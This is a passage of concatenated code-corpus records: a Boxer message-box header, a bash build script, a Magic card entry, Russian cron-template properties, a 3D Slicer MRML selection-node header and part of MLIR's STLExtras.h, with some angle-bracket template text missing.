BOXERAPI __declspec(dllimport)\n#elif defined(__GNUC__) && defined(BOXER_BUILD_DLL)\n // We are building Boxer as a shared / dynamic library\n #define BOXERAPI __attribute__((visibility(\"default\")))\n#else\n // We are building or calling Boxer as a static library\n #define BOXERAPI\n#endif\n\nnamespace boxer {\n\n/*!\n * Options for styles to apply to a message box\n */\nenum class Style {\n Info,\n Warning,\n Error,\n Question\n};\n\n/*!\n * Options for buttons to provide on a message box\n */\nenum class Buttons {\n OK,\n OKCancel,\n YesNo,\n Quit\n};\n\n/*!\n * Possible responses from a message box. 'None' signifies that no option was chosen, and 'Error' signifies that an\n * error was encountered while creating the message box.\n */\nenum class Selection {\n OK,\n Cancel,\n Yes,\n No,\n Quit,\n None,\n Error\n};\n\n/*!\n * The default style to apply to a message box\n */\nconst Style kDefaultStyle = Style::Info;\n\n/*!\n * The default buttons to provide on a message box\n */\nconst Buttons kDefaultButtons = Buttons::OK;\n\n/*!\n * Blocking call to create a modal message box with the given message, title, style, and buttons\n */\nBOXERAPI Selection show(const char *message, const char *title, Style style, Buttons buttons);\n\n/*!\n * Convenience function to call show() with the default buttons\n */\ninline Selection show(const char *message, const char *title, Style style) {\n return show(message, title, style, kDefaultButtons);\n}\n\n/*!\n * Convenience function to call show() with the default style\n */\ninline Selection show(const char *message, const char *title, Buttons buttons) {\n return show(message, title, kDefaultStyle, buttons);\n}\n\n/*!\n * Convenience function to call show() with the default style and buttons\n */\ninline Selection show(const char *message, const char *title) {\n return show(message, title, kDefaultStyle, kDefaultButtons);\n}\n\n} // namespace boxer\n\n#endif\n"} -{"text": "#!/bin/bash\n\nmkdir -vp ${PREFIX}/bin;\n\nexport CFLAGS=\"-Wall -g -m64 -pipe -O2 -march=x86-64 -fPIC\"\nexport CXXLAGS=\"${CFLAGS}\"\n#export CPPFLAGS=\"-I${PREFIX}/include\"\n#export LDFLAGS=\"-L${PREFIX}/lib\"\n\nARCH=\"$(uname 2>/dev/null)\"\n\nLinuxInstallation() {\n\n chmod +x configure;\n\n ./configure \\\n --enable-pic \\\n --enable-shared \\\n --prefix=${PREFIX} || return 1;\n make || return 1;\n make install || return 1;\n\n return 0;\n}\n\ncase ${ARCH} in\n 'Linux')\n LinuxInstallation || exit 1;\n ;;\n *)\n echo -e \"Unsupported machine type: ${ARCH}\";\n exit 1;\n ;;\nesac\n\n#POST_LINK=\"${PREFIX}/bin/.minuit-post-link.sh\"\n#cp -v ${RECIPE_DIR}/post-link.sh ${POST_LINK};\n#chmod -v 0755 ${POST_LINK};\n"} -{"text": "name=Soul Shred\nimage=https://magiccards.info/scans/en/po/35.jpg\nvalue=2.308\nrarity=C\ntype=Sorcery\ncost={3}{B}{B}\neffect=SN deals 3 damage to target nonblack creature.~You gain 3 life.\ntiming=main\noracle=Soul Shred deals 3 damage to target nonblack creature. You gain 3 life.\n"} -{"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n# cron=\u0420\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u0435 (\u0441\u0435\u043a\u0443\u043d\u0434\u044b, \u043c\u0438\u043d\u0443\u0442\u044b, \u0447\u0430\u0441\u044b, \u0434\u043d\u0438 \u043c\u0435\u0441\u044f\u0446\u0430, \u043c\u0435\u0441\u044f\u0446\u044b, \u0434\u043d\u0438 \u043d\u0435\u0434\u0435\u043b\u0438)\ncron=\\u0420\\u0430\\u0441\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0435 (\\u0441\\u0435\\u043a\\u0443\\u043d\\u0434\\u044b, \\u043c\\u0438\\u043d\\u0443\\u0442\\u044b, \\u0447\\u0430\\u0441\\u044b, \\u0434\\u043d\\u0438 \\u043c\\u0435\\u0441\\u044f\\u0446\\u0430, \\u043c\\u0435\\u0441\\u044f\\u0446\\u044b, \\u0434\\u043d\\u0438 \\u043d\\u0435\\u0434\\u0435\\u043b\\u0438)\n# cronTemplateChooser=\u0428\u0430\u0431\u043b\u043e\u043d\u044b \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u0439\ncronTemplateChooser=\\u0428\\u0430\\u0431\\u043b\\u043e\\u043d\\u044b \\u0440\\u0430\\u0441\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0439\n# chooseForTemplate=\u0428\u0430\u0431\u043b\u043e\u043d\u044b \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u0439\nchooseForTemplate=\\u0428\\u0430\\u0431\\u043b\\u043e\\u043d\\u044b \\u0440\\u0430\\u0441\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0439\n# selOpt1=\u0411\u0435\u0437 \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u044f\nselOpt1=\\u0411\\u0435\\u0437 \\u0440\\u0430\\u0441\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u044f\n# selOpt2=\u041a\u0430\u0436\u0434\u044b\u0435 5 \u043c\u0438\u043d\u0443\u0442\nselOpt2=\\u041a\\u0430\\u0436\\u0434\\u044b\\u0435 5 \\u043c\\u0438\\u043d\\u0443\\u0442\n# selOpt3=\u0412 \u043f\u043e\u043b\u0434\u0435\u043d\u044c (12:00) \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u043e\nselOpt3=\\u0412 \\u043f\\u043e\\u043b\\u0434\\u0435\\u043d\\u044c (12:00) \\u0435\\u0436\\u0435\\u0434\\u043d\\u0435\\u0432\\u043d\\u043e\n# selOpt4=\u0412 \u043f\u043e\u043b\u043d\u043e\u0447\u044c (00:00) \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0432\u044b\u0439 \u0434\u0435\u043d\u044c \u043c\u0435\u0441\u044f\u0446\u0430\nselOpt4=\\u0412 \\u043f\\u043e\\u043b\\u043d\\u043e\\u0447\\u044c (00:00) \\u043a\\u0430\\u0436\\u0434\\u044b\\u0439 \\u043f\\u0435\\u0440\\u0432\\u044b\\u0439 \\u0434\\u0435\\u043d\\u044c \\u043c\\u0435\\u0441\\u044f\\u0446\\u0430\n# selOpt5=\u0412 \u043f\u043e\u043b\u043d\u043e\u0447\u044c (00:00) \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0434\u0435\u043d\u044c \u043c\u0435\u0441\u044f\u0446\u0430\nselOpt5=\\u0412 \\u043f\\u043e\\u043b\\u043d\\u043e\\u0447\\u044c (00:00) \\u043a\\u0430\\u0436\\u0434\\u044b\\u0439 \\u043f\\u043e\\u0441\\u043b\\u0435\\u0434\\u043d\\u0438\\u0439 \\u0434\\u0435\\u043d\\u044c \\u043c\\u0435\\u0441\\u044f\\u0446\\u0430\n# selOpt6=\u0412 \u043f\u043e\u043b\u043d\u043e\u0447\u044c (00:00) \u043a\u0430\u0436\u0434\u044b\u0439 \u041f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a\nselOpt6=\\u0412 \\u043f\\u043e\\u043b\\u043d\\u043e\\u0447\\u044c (00:00) \\u043a\\u0430\\u0436\\u0434\\u044b\\u0439 \\u041f\\u043e\\u043d\\u0435\\u0434\\u0435\\u043b\\u044c\\u043d\\u0438\\u043a\n# cronTemplateChooser.dropDownChoiceField.null=\u0414\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u0439\ncronTemplateChooser.dropDownChoiceField.null=\\u0414\\u043e\\u0441\\u0442\\u0443\\u043f\\u043d\\u044b\\u0435 \\u0448\\u0430\\u0431\\u043b\\u043e\\u043d\\u044b \\u0440\\u0430\\u0441\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0439\n"} -{"text": "/*=auto=========================================================================\n\n Portions (c) Copyright 2005 Brigham and Women's Hospital (BWH) All Rights Reserved.\n\n See COPYRIGHT.txt\n or http://www.slicer.org/copyright/copyright.txt for details.\n\n Program: 3D Slicer\n Module: $RCSfile: vtkMRMLSelectionNode.h,v $\n Date: $Date: 2006/03/19 17:12:29 $\n Version: $Revision: 1.3 $\n\n=========================================================================auto=*/\n\n#ifndef __vtkMRMLSelectionNode_h\n#define __vtkMRMLSelectionNode_h\n\n// MRML includes\n#include \"vtkMRMLNode.h\"\n\nclass vtkMRMLUnitNode;\n\n// STD includes\n#include \n\n/// \\brief MRML node for storing information about the active nodes in the scene.\n///\n/// This node stores the information about the currently selected volume,\n/// label volume, fiducial list, place node class name, place node id, ROI\n/// list, camera, table, view, layout, units\n/// Note: the SetReferenceActive* routines are added because\n/// the vtkSetReferenceStringMacro is not wrapped (vtkSetStringMacro\n/// on which it is based is a special case in vtk's parser).\nclass VTK_MRML_EXPORT vtkMRMLSelectionNode : public vtkMRMLNode\n{\n public:\n static vtkMRMLSelectionNode *New();\n vtkTypeMacro(vtkMRMLSelectionNode,vtkMRMLNode);\n void PrintSelf(ostream& os, vtkIndent indent) override;\n\n vtkMRMLNode* CreateNodeInstance() override;\n\n /// Set node attributes\n void ReadXMLAttributes( const char** atts) override;\n\n /// Write this node's information to a MRML file in XML format.\n void WriteXML(ostream& of, int indent) override;\n\n /// Copy the node's attributes to this object\n void Copy(vtkMRMLNode *node) override;\n\n /// Get node XML tag name (like Volume, Model)\n const char* GetNodeTagName() override {return \"Selection\";}\n\n /// Set the nodes as references to the current scene.\n void SetSceneReferences() override;\n\n /// Update the stored reference to another node in the scene\n void UpdateReferenceID(const char *oldID, const char *newID) override;\n\n /// Updates this node if it depends on other nodes\n /// when the node is deleted in the scene\n void UpdateReferences() override;\n\n /// the ID of a MRMLVolumeNode (typically background)\n vtkGetStringMacro (ActiveVolumeID);\n void SetActiveVolumeID(const char* id);\n /// \\deprecated Use SetActiveVolumeID instead\n void SetReferenceActiveVolumeID (const char *id) { this->SetActiveVolumeID(id); };\n\n /// the ID of a MRMLVolumeNode (typically foreground)\n vtkGetStringMacro (SecondaryVolumeID);\n void SetSecondaryVolumeID(const char* id);\n /// \\deprecated Use SetSecondaryVolumeID instead\n void SetReferenceSecondaryVolumeID (char *id) { this->SetSecondaryVolumeID(id); };\n\n /// the ID of a MRMLVolumeNode\n vtkGetStringMacro (ActiveLabelVolumeID);\n void SetActiveLabelVolumeID(const char* id);\n /// \\deprecated Use SetActiveLabelVolumeID instead\n void SetReferenceActiveLabelVolumeID (const char *id) { this->SetActiveLabelVolumeID(id); };\n\n /// \\deprecated Get the ID of a vtkMRMLFiducialListNode\n /// \\sa SetActiveFiducialListID, SetReferenceActiveFiducialListID\n vtkGetStringMacro (ActiveFiducialListID);\n /// \\deprecated Set the ID of a vtkMRMLFiducialListNode\n /// \\sa SetReferenceActiveFiducialListID, GetActiveFiducialListID\n void SetActiveFiducialListID(const char* id);\n /// \\deprecated Set the Id of a vtkMRMLFiducialListNode\n /// \\sa SetActiveFiducialListID, GetActiveFiducialListID\n void SetReferenceActiveFiducialListID (const char *id) { this->SetActiveFiducialListID(id); };\n\n /// Get the classname of the active placeNode type.\n /// The active placeNode is used to control what placeNode is being\n /// dropped by the user. This replaces ActiveAnnotationID.\n /// \\sa SetActivePlaceNodeClassName, SetReferenceActivePlaceNodeClassName\n vtkGetStringMacro (ActivePlaceNodeClassName);\n /// Set the classname of the active placeNode type.\n /// Use SetReferenceActivePlaceNodeClassName if you need the mouse mode tool\n /// bar to update.\n /// \\sa GetActivePlaceNodeClassName, SetReferenceActivePlaceNodeClassName\n vtkSetStringMacro(ActivePlaceNodeClassName);\n /// Set the active placeNode class name and fire the event\n /// ActivePlaceNodeClassNameChangedEvent so that the Mouse mode tool bar\n /// will update.\n /// \\sa GetActivePlaceNodeClassName, SetActivePlaceNodeClassName\n void SetReferenceActivePlaceNodeClassName (const char *className);\n\n /// Get the ID of the currently active placeNode. This replaces\n /// GetActiveAnnotationID.\n /// \\sa SetActivePlaceNodeID, SetReferenceActivePlaceNodeID\n vtkGetStringMacro (ActivePlaceNodeID);\n /// Set the ID of the currently active placeNode. This replaces\n /// SetActiveAnnotationID.\n /// \\sa GetActivePlaceNodeID, SetReferenceActivePlaceNodeID\n void SetActivePlaceNodeID(const char* id);\n /// Set the ID of the currently active placeNode and fire the\n /// ActivePlaceNodeIDChangedEvent event. This replaces\n /// SetActiveAnnotationID.\n /// \\sa GetActivePlaceNodeID, SetActivePlaceNodeID\n void SetReferenceActivePlaceNodeID (const char *id)\n { this->SetActivePlaceNodeID(id);\n this->InvokeEvent(vtkMRMLSelectionNode::ActivePlaceNodeIDChangedEvent); };\n\n /// the ID of a MRMLROIList\n vtkGetStringMacro (ActiveROIListID);\n void SetActiveROIListID(const char* id);\n /// \\deprecated Use SetActiveROIListID instead\n void SetReferenceActiveROIListID (const char *id) { this->SetActiveROIListID(id); };\n\n /// the ID of a MRMLCameraNode\n vtkGetStringMacro (ActiveCameraID );\n void SetActiveCameraID(const char* id);\n /// \\deprecated Use SetActiveCameraID instead\n void SetReferenceActiveCameraID (const char *id) { this->SetActiveCameraID(id); };\n\n /// the ID of a MRMLTableNode\n vtkGetStringMacro (ActiveTableID);\n void SetActiveTableID(const char* id);\n /// \\deprecated Use SetActiveTableID instead\n void SetReferenceActiveTableID (char *id) { this->SetActiveTableID(id); };\n\n /// the ID of a MRMLViewNode\n vtkGetStringMacro (ActiveViewID );\n void SetActiveViewID(const char* id );\n /// \\deprecated Use SetActiveViewID instead\n void SetReferenceActiveViewID (const char *id) { this->SetActiveViewID(id); };\n\n /// the ID of a MRMLLayoutNode\n vtkGetStringMacro (ActiveLayoutID );\n void SetActiveLayoutID(const char* id);\n /// \\deprecated Use SetActiveLayoutID instead\n void SetReferenceActiveLayoutID (const char *id) { this->SetActiveLayoutID(id); };\n\n /// the ID of a MRMLPlotChartNode\n vtkGetStringMacro (ActivePlotChartID );\n void SetActivePlotChartID(const char* id);\n /// \\deprecated Use SetActivePlotChartID instead\n void SetReferenceActivePlotChartID (const char *id) { this->SetActivePlotChartID(id); };\n\n /// A list of events that this node can throw\n /// ActivePlaceNodeIDChangedEvent: is no longer observed by the Mouse mode\n /// tool bar, it only watches for the ActivePlaceNodeClassNameChangedEvent\n /// ActivePlaceNodeClassNameChangedEvent: is observed by the Mouse mode tool\n /// bar class to update that widget to the current place node\n /// PlaceNodeClassNameListModifiedEvent: this is fired when new place node\n /// class names are added, watched for by the Mouse mode tool bar so that it\n /// can offer the user all the valid types of nodes to place.\n /// UnitModifiedEvent: Fired every time a quantity unit node is changed\n /// or an active quantity unit node is modified. The calldata contains\n /// the node quantity\n /// \\sa AddNewPlaceNodeClassNameToList\n enum\n {\n ActivePlaceNodeIDChangedEvent = 19001,\n ActivePlaceNodeClassNameChangedEvent,\n PlaceNodeClassNameListModifiedEvent,\n UnitModifiedEvent,\n };\n\n /// Add a new valid placeNode class name to the list, with optional qt resource\n /// reference string for updating GUI elements\n void AddNewPlaceNodeClassNameToList(const char *newID, const char *resource = nullptr, const char *iconName = \"\");\n\n // -- Units --\n\n /// Set/Get the current unit node associated with the given quantity.\n /// This is how the GUI or the logic can access the current node for\n /// a quantity. Changing the current node for a given quantity should only\n /// be done through the unit node settings panel.\n /// There can be no node (i.e. nullptr) associated to a quantity.\n /// To make sure to have the correct unit node, one should observe the\n /// selection node for UnitModifiedEvent.\n /// \\sa GetUnitNode(), GetNodeReferenceID(), SetAndObserveNodeReferenceID()\n /// \\sa UnitModifiedEvent\n const char* GetUnitNodeID(const char* quantity);\n void SetUnitNodeID(const char* quantity, const char* id);\n\n /// Return the unit node associated to the quantity.\n /// \\sa GetUnitNodeID()\n vtkMRMLUnitNode* GetUnitNode(const char* quantity);\n\n /// Get all the unit node currently observed by the selection node.\n /// \\sa GetReferenceNodes()\n /// \\sa GetUnitNodeID(), SetUnitNodeID(), GetUnitNodeIDs()\n void GetUnitNodes(std::vector& units);\n\n /// Get all the unit node IDs currently observed by the selection node.\n /// \\sa GetUnitNodes()\n void GetUnitNodeIDs(std::vector& quantities,\n std::vector& unitIDs);\n\n /// Method to propagate events generated in units nodes.\n /// \\sa GetNodeReferenceID(), SetAndObserveNodeReferenceID()\n /// \\sa UnitModifiedEvent\n void ProcessMRMLEvents(vtkObject *caller, unsigned long event, void *callData) override;\n\n /// Remove a placeNode class name from the list\n /// \\sa PlaceNodeClassNameInList\n void RemovePlaceNodeClassNameFromList(const char *className);\n /// Return nth placeNode class name string from the list,\n /// empty string if out of bounds\n std::string GetPlaceNodeClassNameByIndex(int n);\n /// Return nth placeNode resource string from the list,\n /// empty string if out of bounds\n std::string GetPlaceNodeResourceByIndex(int n);\n /// Return nth placeNode icon name string from the list,\n /// empty string if out of bounds\n std::string GetPlaceNodeIconNameByIndex(int n);\n\n /// Check for an classname in the list, returning it's index, -1 if not in list\n int PlaceNodeClassNameInList(std::string className);\n /// Return the placeNode resource associated with this classname, empty string if\n /// not found\n /// \\sa vtkMRMLSelectionNode::PlaceNodeClassNameInList\n /// \\sa vtkMRMLSelectionNode::GetPlaceNodeResourceByIndex\n std::string GetPlaceNodeResourceByClassName(std::string className);\n /// Get the number of class names in the list\n int GetNumberOfPlaceNodeClassNamesInList() { return static_cast(this->PlaceNodeClassNameList.size()); };\n\nprotected:\n vtkMRMLSelectionNode();\n ~vtkMRMLSelectionNode() override;\n vtkMRMLSelectionNode(const vtkMRMLSelectionNode&);\n void operator=(const vtkMRMLSelectionNode&);\n\n static const char* UnitNodeReferenceRole;\n static const char* UnitNodeReferenceMRMLAttributeName;\n\n virtual const char* GetUnitNodeReferenceRole();\n virtual const char* GetUnitNodeReferenceMRMLAttributeName();\n\n char *ActiveVolumeID;\n char *SecondaryVolumeID;\n char *ActiveLabelVolumeID;\n char *ActiveFiducialListID;\n char *ActivePlaceNodeID;\n char *ActivePlaceNodeClassName;\n char *ActiveROIListID;\n char *ActiveCameraID;\n char *ActiveTableID;\n char *ActiveViewID;\n char *ActiveLayoutID;\n char *ActivePlotChartID;\n\n std::vector PlaceNodeClassNameList;\n std::vector PlaceNodeResourceList;\n std::vector PlaceNodeIconNameList;\n};\n\n#endif\n"} -{"text": "//===- STLExtras.h - STL-like extensions that are used by MLIR --*- C++ -*-===//\n//\n// Copyright 2019 The MLIR Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// =============================================================================\n//\n// This file contains stuff that should be arguably sunk down to the LLVM\n// Support/STLExtras.h file over time.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef MLIR_SUPPORT_STLEXTRAS_H\n#define MLIR_SUPPORT_STLEXTRAS_H\n\n#include \"mlir/Support/LLVM.h\"\n#include \"llvm/ADT/iterator.h\"\n#include \n\nnamespace mlir {\n\nnamespace detail {\ntemplate \nusing ValueOfRange = typename std::remove_reference()))>::type;\n} // end namespace detail\n\n/// An STL-style algorithm similar to std::for_each that applies a second\n/// functor between every pair of elements.\n///\n/// This provides the control flow logic to, for example, print a\n/// comma-separated list:\n/// \\code\n/// interleave(names.begin(), names.end(),\n/// [&](StringRef name) { os << name; },\n/// [&] { os << \", \"; });\n/// \\endcode\ntemplate \ninline void interleave(ForwardIterator begin, ForwardIterator end,\n UnaryFunctor each_fn, NullaryFunctor between_fn) {\n if (begin == end)\n return;\n each_fn(*begin);\n ++begin;\n for (; begin != end; ++begin) {\n between_fn();\n each_fn(*begin);\n }\n}\n\ntemplate \ninline void interleave(const Container &c, UnaryFunctor each_fn,\n NullaryFunctor between_fn) {\n interleave(c.begin(), c.end(), each_fn, between_fn);\n}\n\ntemplate >\ninline void interleaveComma(const Container &c, raw_ostream &os,\n UnaryFunctor each_fn) {\n interleave(c.begin(), c.end(), each_fn, [&] { os << \", \"; });\n}\ntemplate >\ninline void interleaveComma(const Container &c, raw_ostream &os) {\n interleaveComma(c, os, [&](const T &a) { os << a; });\n}\n\n/// A special type used to provide an address for a given class that can act as\n/// a unique identifier during pass registration.\n/// Note: We specify an explicit alignment here to allow use with PointerIntPair\n/// and other utilities/data structures that require a known pointer alignment.\nstruct alignas(8) ClassID {\n template static ClassID *getID() {\n static ClassID id;\n return &id;\n }\n template